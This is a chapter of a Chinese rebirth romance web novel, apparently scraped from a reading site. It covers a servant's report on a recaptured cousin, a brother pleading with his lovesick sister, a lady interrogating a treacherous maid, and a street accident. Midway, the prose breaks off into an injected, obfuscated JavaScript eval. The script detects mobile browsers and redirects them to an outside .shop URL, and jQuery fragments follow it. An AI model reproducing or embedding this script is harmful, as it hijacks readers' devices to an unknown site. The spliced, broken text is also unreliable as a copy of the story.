“黎小姐离开之后,去找了裴神医。”
“裴神医养了一条狗,那狗能识别气味,黎小姐就是靠着这狗找到那姓裴的。”
“主子,你猜那姓裴的是在哪里找到的?”
见主子并没有想猜的意思,反而冷冷地看了他一眼,陆茗赶紧说道:“是在西街宅子找到的!”
“就是她关着裴旭的那个宅子!”
“对,原来黎旭根本就没有跑,躲在柴房里呢,他想到晚上再逃,结果没想到裴神医的狗先闻出了他的味道。”
“有内奸!”梧栖听完后立马了这样一句话,没有内奸他是不敢藏在院子里的。
陆茗赞赏一笑:“主子猜得没错,原来是黎小姐买来的那个姑娘将他放走的,黎小姐已经将二人都关起来了。”
汇报完后,按照以往陆茗该退下了,可是这一次他没有走。
画意来京城后住进了主子的院子,天下间,没有哪一个哥哥愿意看着亲妹妹和别的男人相处,就算那个男人是自家主子也不例外,所以他一般都在外院,那日,内院里的事情他并不知情,后来主子让他去跟着黎小姐,他才知道原来黎小姐来过了。
后面的便如他汇报的那样,黎小姐走后去找了裴神医,他在西街守了一天,直到天黑了才回府跟主子汇报。
“主子……”他唤道。
奴才的性子一般随主子,主子若杀伐果断,便不喜做事拖泥带水的奴才。
陆茗很少有这般犹豫的时候,梧栖看向他:“你想说什么?”
为了妹妹,陆茗心一横问道:“主子,你喜欢黎大小姐吗?”
房间里寂静无声,从窗户漏进来的月光照在主子身上,那一双比月光还亮的眸子带着寒气瞥了过来。
陆茗身子一抖,一个奴才是没资格过问主子的私事的。
他连忙跪下:“是属下多嘴了,属下告退!”
从房间退出之后,陆茗来到陆画意住的厢房,敲开房门,还没等陆画意开口,陆茗便劝道:“画意,放弃吧!”
陆画意一听就明白他指的什么,脸色骤然沉了下去。
“为什么?就因为她是高门小姐,我出身低微?”
陆茗看着自家妹妹不服气的神情,心中又气又不忍,从小父母双亡,他和妹妹相依为命长大,因为他出色的天资,成了主子的近卫,主子待他不薄,连带着对陆画意也颇为关照,养成了她不知天高地厚的性子。
只是以前主子身边没有出现过女人,只有陆画意她一人,他也没有阻止过她,甚至还想过妹妹能嫁给主子说不定也是一个好归宿。
只是,现在……
“那日,黎大小姐来找主子你见到了吧。”
陆画意:“那又如何?二公子并没有帮她,还是我抱着她翻院墙走了。”
陆茗深吸了口气,缓缓说道:“那日,她来找主子是因为她的表哥跑了,她想让主子帮忙去找,主子并没有见过她表哥一面,只是让我去调查时听我提过一次,连我都不记得了,可是主子却记得她的表哥叫黎旭!”
没有责骂,没有劝阻,陆画意却沉默了,她跟二公子从小一起长大,比谁都了解二公子的性子。
二公子生性淡漠得几乎可以称得上冷漠,对于不重要的人和事,他看都不会多看一眼,更别说记住了。
其实她早就看出来,二公子对黎家小姐不一般,只是喜欢了很多年的人,她不想放下,也放不下,一直欺骗自己。
“够了,哥,我知道你是为了我好,但是只要二公子一日未成亲,我便一日不放弃,你别说了,我睡了!”
陆画意转过身,不愿再多说。
陆茗见妹妹还是执迷不悟,只得放弃劝说,个人有命,他已经尽力了。
西街!
黎沅将几锭银子塞进裴行手里。
裴行牵着一条黑狗,手里沉甸甸地分量让他不好意思接,推了一锭回去:“黎小姐给得有点太多了!”
“拿着吧,裴神医,养豹子得废不少钱吧。”
那头豹子在裴行解了梧栖的毒后,黎沅便让陆茗连豹带笼送到他宅子里去了,裴行看她这般守信,办事又周到,后来才对她的要求一一应允。
听到这话后,裴行没有再推辞,利落地收下了银子。
“既然人找到了,那我就先回去了,这是钥匙。”
裴行买了一把锁,把黎旭原来的锁换了。
黎沅接过钥匙:“岁欢,去送送裴神医。”
“不用,黑虎识路。”
裴神医走后,黎沅原本笑着的脸沉了下来,现在是该算账了的时候了!
她倒要问问,萍儿,为何要背叛她!
萍儿和黎旭一起关在黎旭原本关着的房间。
“你去将萍儿带过来。”黎沅对岁欢说。
没一会,岁欢将五花大绑的萍儿拉了过来。
萍儿头发散乱着,脸上挂着几行泪痕,她这些日子在这里养得好了,美貌更胜当初见面之时,可越是这样,让黎沅越是生气。
黎沅一个眼神,岁欢拿走了她嘴里的布条。
布条一拿开,萍儿哭天抢地的声音响起。
“小姐,我错了,小姐,我错了,我不敢了,求求你放过我!”
黎沅面带不耐:“好吵!”
岁欢走过去,提起萍儿的肩,恶狠狠地说:“别哭了,再哭小心小姐杀了你。”
萍儿被吓得噤了声。
黎沅冷声开口:“萍儿,为什么要这么对我?”
两行热泪从萍儿脸上滚下来。
“小姐,我错了,求求你,饶了我!”
黎沅感到心里升起一股火,最烦的就是这种人,蠢又不自知,你问东她答西。
看来是问不出来了。
黎沅捏了捏眉心,挥了挥手,岁欢将布条重新塞回萍儿的嘴里。
“小姐,这人怎么处理?”岁欢已经对杀人这事熟络起来,面无波澜地问道。
“先带去关着。”
岁欢拉起萍儿,一打开门,见阿兰站在门外,阿兰冲进屋内,跪下替萍儿求情。
“小姐,你想知道的事情我帮你问,还请小姐看在肚子里孩子的份上,放过萍儿一命!”
黎沅看着磕头的阿兰,想来她跟萍儿这些日子相处,生出了些许姐妹情谊,答应了。
“好,你替我问问,她为何要吃里扒外,背叛我!”
房里只留下萍儿和阿兰二人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724765|208813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,折腾了一整天,黎沅只觉得异常疲惫。
“小姐,要回府吗?”
“回去吧!”
这一夜,黎沅躺在床上很久都没有睡着,她在思索一个问题。
自己满打满算买了两个人,雇了一个人,如今一人背叛,一人离开,上一世也是如此,手里真正能用的人没有几个。
梧栖手里有那么多人,为何不会背叛?陆茗、陈良对他都死心塌地,便是梧栖让他们立刻去死也不会犹豫半分。
梧栖难道有什么御人之术?
这般想着,直到天亮了,阿兰已经从萍儿嘴里问出来了,之所以背叛黎沅是因为她想当正房夫人!
黎旭答应她,如果她能帮她逃走,就娶她做正房夫人。
“小姐,你饶了萍儿吧,她只是贪慕虚荣,被黎旭骗了,现在已经知道错了。”阿兰还想帮萍儿求情。
黎沅眼里的冷意却像凝结的霜!正房夫人?哪里的正房?黎旭一没功名在身,二没实职,哪里来的钱财能让她做正房夫人?
自然是黎家的。
黎家只有她一个女儿,如果将她的所作所为告上官府,再夺她家的家产,不就成了正房夫人?
重生一世,黎旭是半点没有改变!
“我知晓了,你跟萍儿说让她好好保住身子,生下孩子,有什么需要的尽管提。”
“谢谢小姐!”阿兰以为黎沅这是答应放过萍儿了,高兴地跑进屋去跟萍儿分享这个好消息。
“阿兰,你说小姐她真的原谅我了?不计较了?”萍儿总觉得心里不踏实。
“是真的,小姐还说要你好好照顾自己的身子,想吃什么就跟我说,我去买。”
阿兰愚笨,萍儿不太看得上她,但是她也不会撒谎,看来小姐确实跟她说放过她了,她的心里稍稍安定了些。
她还想问一句黎旭怎么样了,但是又怕阿兰蠢笨被小姐知道了,小姐一生气又……
只得换了个话头。
“阿兰,那你去给我买点青梅酥吧,我想吃点酸的。”
“好,你等着!”
阿兰从屋子里出来时,小姐已经离去了,只剩岁欢一人守在门口。
阿兰跟岁欢说了要去买青梅酥,岁欢答应了。
西街街口,青梅酥铺子的甜香悠悠从巷口飘过来。
阿兰尚未走到铺前,身后骤然滚来一阵急促踏地的马蹄声,还有一道粗犷的男声厉声喝喊:“快让开!让开!”
她慌忙回身,只见一辆马车横冲直撞奔来,沿路街边的瓜果滚落满地,陈设的首饰摊子也被撞得东倒西歪、零碎散落。
阿兰侧身慌忙躲闪,眼角余光倏然扫见车道正中有一团雪白绒球,她定睛一看,竟是只毛茸茸的小白兔,许是受惊从货摊逃窜出来,正愣在原地动弹不得。
奔袭的马蹄已然近在咫尺,下一瞬便要重重踏落。
千钧一发之际,阿兰不假思索纵身扑上前,伸手稳稳将小兔子揽入怀中紧护在怀中。
“找死不成,赶紧滚开!”
男人凶狠的怒骂,夹着轰鸣的马蹄声扑面而来,阿兰双臂箍紧怀里瑟瑟发抖的小兔,脚却像灌了铅一样,动不了了,心下一紧,默然阖上了双眼。